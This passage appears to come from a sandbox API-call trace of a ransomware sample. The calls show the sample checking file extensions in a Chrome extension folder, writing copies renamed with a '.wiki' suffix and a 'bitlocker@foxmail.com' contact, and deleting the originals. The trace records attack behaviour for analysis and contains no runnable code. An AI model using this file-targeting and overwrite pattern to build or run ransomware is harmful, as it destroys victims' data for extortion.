lpString2=".js") returned -1 [0177.761] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js") returned 148 [0177.761] lstrlenW (lpString=".dbf") returned 4 [0177.761] lstrcmpiW (lpString1=".dbf", lpString2="d.js") returned -1 [0177.762] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js") returned 148 [0177.762] lstrlenW (lpString=".1cd") returned 4 [0177.762] lstrcmpiW (lpString1=".1cd", lpString2="d.js") returned -1 [0177.762] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js") returned 148 [0177.762] lstrlenW (lpString=".jpg") returned 4 [0177.762] lstrcmpiW (lpString1=".jpg", lpString2="d.js") returned -1 [0177.762] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js") returned 148 [0177.762] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js") returned 148 [0177.762] lstrlenW (lpString=".doc") returned 4 [0177.762] lstrcmpiW (lpString1=".doc", lpString2="d.js") returned -1 [0177.762] lstrlenW (lpString=".docx") returned 5 [0177.762] lstrcmpiW (lpString1=".docx", lpString2="nd.js") returned -1 [0177.762] lstrlenW (lpString=".pdf") returned 4 [0177.762] lstrcmpiW (lpString1=".pdf", lpString2="d.js") returned -1 [0177.762] lstrlenW (lpString=".xls") returned 4 [0177.762] lstrcmpiW (lpString1=".xls", lpString2="d.js") returned -1 [0177.762] lstrlenW (lpString=".xlsx") returned 5 [0177.762] lstrcmpiW (lpString1=".xlsx", lpString2="nd.js") returned -1 [0177.762] lstrlenW (lpString=".ppt") returned 4 [0177.762] lstrcmpiW (lpString1=".ppt", lpString2="d.js") returned -1 [0177.762] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js") returned 148 [0177.762] lstrlenW (lpString=".zip") returned 4 [0177.762] lstrcmpiW (lpString1=".zip", lpString2="d.js") returned -1 [0177.762] lstrlenW (lpString=".rar") returned 4 [0177.762] lstrcmpiW (lpString1=".rar", lpString2="d.js") returned -1 [0177.762] lstrlenW (lpString=".bz2") returned 4 [0177.762] lstrcmpiW (lpString1=".bz2", lpString2="d.js") returned -1 [0177.762] lstrlenW (lpString=".7z") returned 3 [0177.762] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0177.763] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js") returned 148 [0177.763] lstrlenW (lpString=".dbf") returned 4 [0177.763] lstrcmpiW (lpString1=".dbf", lpString2="d.js") returned -1 [0177.763] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js") returned 148 [0177.763] lstrlenW (lpString=".1cd") returned 4 [0177.763] lstrcmpiW (lpString1=".1cd", lpString2="d.js") returned -1 [0177.763] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js") returned 148 [0177.763] lstrlenW (lpString=".jpg") returned 4 [0177.763] lstrcmpiW (lpString1=".jpg", lpString2="d.js") returned -1 [0177.763] lstrcmpiW (lpString1=".js", lpString2=".wiki") returned -1 [0177.763] lstrlenW (lpString="craw_window.js") returned 14 [0177.763] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0177.763] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=241753) returned 1 [0177.764] CloseHandle (hObject=0x1b4) returned 1 [0177.764] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js")) returned 0x2020 [0177.764] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.764] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0177.764] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.764] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.764] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0177.764] GetLastError () returned 0x0 [0177.765] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x3b059, lpOverlapped=0x0) returned 1 [0177.774] WriteFile (in: hFile=0x160, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x3b060, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x3b060, lpOverlapped=0x0) returned 1 [0177.778] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0177.778] WriteFile (in: hFile=0x160, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0177.778] SetEndOfFile (hFile=0x160) returned 1 [0178.022] CloseHandle (hObject=0x160) returned 1 [0178.022] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.022] SetEndOfFile (hFile=0x1b4) returned 1 [0178.024] CloseHandle (hObject=0x1b4) returned 1 [0178.025] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.025] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js")) returned 1 [0178.025] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js") returned 144 [0178.025] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js") returned 144 [0178.025] lstrlenW (lpString=".doc") returned 4 [0178.025] lstrcmpiW (lpString1=".doc", lpString2="w.js") returned -1 [0178.025] lstrlenW (lpString=".docx") returned 5 [0178.025] lstrcmpiW (lpString1=".docx", lpString2="ow.js") returned -1 [0178.025] lstrlenW (lpString=".pdf") returned 4 [0178.025] lstrcmpiW (lpString1=".pdf", lpString2="w.js") returned -1 [0178.025] lstrlenW (lpString=".xls") returned 4 [0178.025] lstrcmpiW (lpString1=".xls", lpString2="w.js") returned -1 [0178.025] lstrlenW (lpString=".xlsx") returned 5 [0178.025] lstrcmpiW (lpString1=".xlsx", lpString2="ow.js") returned -1 [0178.025] lstrlenW (lpString=".ppt") returned 4 [0178.025] lstrcmpiW (lpString1=".ppt", lpString2="w.js") returned -1 [0178.025] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js") returned 144 [0178.026] lstrlenW (lpString=".zip") returned 4 [0178.026] lstrcmpiW (lpString1=".zip", lpString2="w.js") returned -1 [0178.026] lstrlenW (lpString=".rar") returned 4 [0178.026] lstrcmpiW (lpString1=".rar", lpString2="w.js") returned -1 [0178.026] lstrlenW (lpString=".bz2") returned 4 [0178.026] lstrcmpiW (lpString1=".bz2", lpString2="w.js") returned -1 [0178.026] lstrlenW (lpString=".7z") returned 3 [0178.026] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0178.026] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js") returned 144 [0178.026] lstrlenW (lpString=".dbf") returned 4 [0178.026] lstrcmpiW (lpString1=".dbf", lpString2="w.js") returned -1 [0178.026] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js") returned 144 [0178.026] lstrlenW (lpString=".1cd") returned 4 [0178.026] lstrcmpiW (lpString1=".1cd", lpString2="w.js") returned -1 [0178.026] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js") returned 144 [0178.026] lstrlenW (lpString=".jpg") returned 4 [0178.026] lstrcmpiW (lpString1=".jpg", lpString2="w.js") returned -1 [0178.026] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js") returned 144 [0178.026] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js") returned 144 [0178.026] lstrlenW (lpString=".doc") returned 4 [0178.026] lstrcmpiW (lpString1=".doc", lpString2="w.js") returned -1 [0178.026] lstrlenW (lpString=".docx") returned 5 [0178.026] lstrcmpiW (lpString1=".docx", lpString2="ow.js") returned -1 [0178.026] lstrlenW (lpString=".pdf") returned 4 [0178.026] lstrcmpiW (lpString1=".pdf", lpString2="w.js") returned -1 [0178.026] lstrlenW (lpString=".xls") returned 4 [0178.026] lstrcmpiW (lpString1=".xls", lpString2="w.js") returned -1 [0178.026] lstrlenW (lpString=".xlsx") returned 5 [0178.026] lstrcmpiW (lpString1=".xlsx", lpString2="ow.js") returned -1 [0178.026] lstrlenW (lpString=".ppt") returned 4 [0178.027] lstrcmpiW (lpString1=".ppt", lpString2="w.js") returned -1 [0178.027] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js") returned 144 [0178.027] lstrlenW (lpString=".zip") returned 4 [0178.027] lstrcmpiW (lpString1=".zip", lpString2="w.js") returned -1 [0178.027] lstrlenW (lpString=".rar") returned 4 [0178.027] lstrcmpiW (lpString1=".rar", lpString2="w.js") returned -1 [0178.027] lstrlenW (lpString=".bz2") returned 4 [0178.027] lstrcmpiW (lpString1=".bz2", lpString2="w.js") returned -1 [0178.027] lstrlenW (lpString=".7z") returned 3 [0178.027] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0178.027] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js") returned 144 [0178.027] lstrlenW (lpString=".dbf") returned 4 [0178.027] lstrcmpiW (lpString1=".dbf", lpString2="w.js") returned -1 [0178.027] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js") returned 144 [0178.027] lstrlenW (lpString=".1cd") returned 4 [0178.027] lstrcmpiW (lpString1=".1cd", lpString2="w.js") returned -1 [0178.027] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js") returned 144 [0178.027] lstrlenW (lpString=".jpg") returned 4 [0178.027] lstrcmpiW (lpString1=".jpg", lpString2="w.js") returned -1 [0178.027] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0178.027] lstrlenW (lpString="icon_128.png") returned 12 [0178.027] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0178.028] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=4361) returned 1 [0178.028] CloseHandle (hObject=0x1b4) returned 1 [0178.028] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png")) returned 0x2020 [0178.028] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.028] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0178.028] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.028] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.028] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0178.031] GetLastError () returned 0x0 [0178.031] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x1109, lpOverlapped=0x0) returned 1 [0178.033] WriteFile (in: hFile=0x160, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x1110, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x1110, lpOverlapped=0x0) returned 1 [0178.034] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0178.034] WriteFile (in: hFile=0x160, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0178.034] SetEndOfFile (hFile=0x160) returned 1 [0178.034] CloseHandle (hObject=0x160) returned 1 [0178.034] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.034] SetEndOfFile (hFile=0x1b4) returned 1 [0178.035] CloseHandle (hObject=0x1b4) returned 1 [0178.035] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.035] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png")) returned 1 [0178.035] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png") returned 149 [0178.035] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png") returned 149 [0178.036] lstrlenW (lpString=".doc") returned 4 [0178.036] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0178.036] lstrlenW (lpString=".docx") returned 5 [0178.036] lstrcmpiW (lpString1=".docx", lpString2="8.png") returned -1 [0178.036] lstrlenW (lpString=".pdf") returned 4 [0178.036] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0178.036] lstrlenW (lpString=".xls") returned 4 [0178.036] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0178.036] lstrlenW (lpString=".xlsx") returned 5 [0178.036] lstrcmpiW (lpString1=".xlsx", lpString2="8.png") returned -1 [0178.036] lstrlenW (lpString=".ppt") returned 4 [0178.036] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0178.036] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png") returned 149 [0178.036] lstrlenW (lpString=".zip") returned 4 [0178.036] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0178.036] lstrlenW (lpString=".rar") returned 4 [0178.036] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0178.036] lstrlenW (lpString=".bz2") returned 4 [0178.036] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0178.036] lstrlenW (lpString=".7z") returned 3 [0178.036] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0178.036] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png") returned 149 [0178.036] lstrlenW (lpString=".dbf") returned 4 [0178.036] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0178.036] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png") returned 149 [0178.036] lstrlenW (lpString=".1cd") returned 4 [0178.036] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0178.036] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png") returned 149 [0178.036] lstrlenW (lpString=".jpg") returned 4 [0178.036] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0178.037] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png") returned 149 [0178.037] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png") returned 149 [0178.037] lstrlenW (lpString=".doc") returned 4 [0178.037] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0178.037] lstrlenW (lpString=".docx") returned 5 [0178.037] lstrcmpiW (lpString1=".docx", lpString2="8.png") returned -1 [0178.037] lstrlenW (lpString=".pdf") returned 4 [0178.037] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0178.037] lstrlenW (lpString=".xls") returned 4 [0178.037] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0178.037] lstrlenW (lpString=".xlsx") returned 5 [0178.037] lstrcmpiW (lpString1=".xlsx", lpString2="8.png") returned -1 [0178.037] lstrlenW (lpString=".ppt") returned 4 [0178.037] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0178.037] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png") returned 149 [0178.037] lstrlenW (lpString=".zip") returned 4 [0178.037] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0178.037] lstrlenW (lpString=".rar") returned 4 [0178.037] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0178.037] lstrlenW (lpString=".bz2") returned 4 [0178.037] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0178.037] lstrlenW (lpString=".7z") returned 3 [0178.037] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0178.037] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png") returned 149 [0178.037] lstrlenW (lpString=".dbf") returned 4 [0178.037] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0178.037] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png") returned 149 [0178.037] lstrlenW (lpString=".1cd") returned 4 [0178.037] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0178.037] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png") returned 149 [0178.037] lstrlenW (lpString=".jpg") returned 4 [0178.038] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0178.038] lstrcmpiW 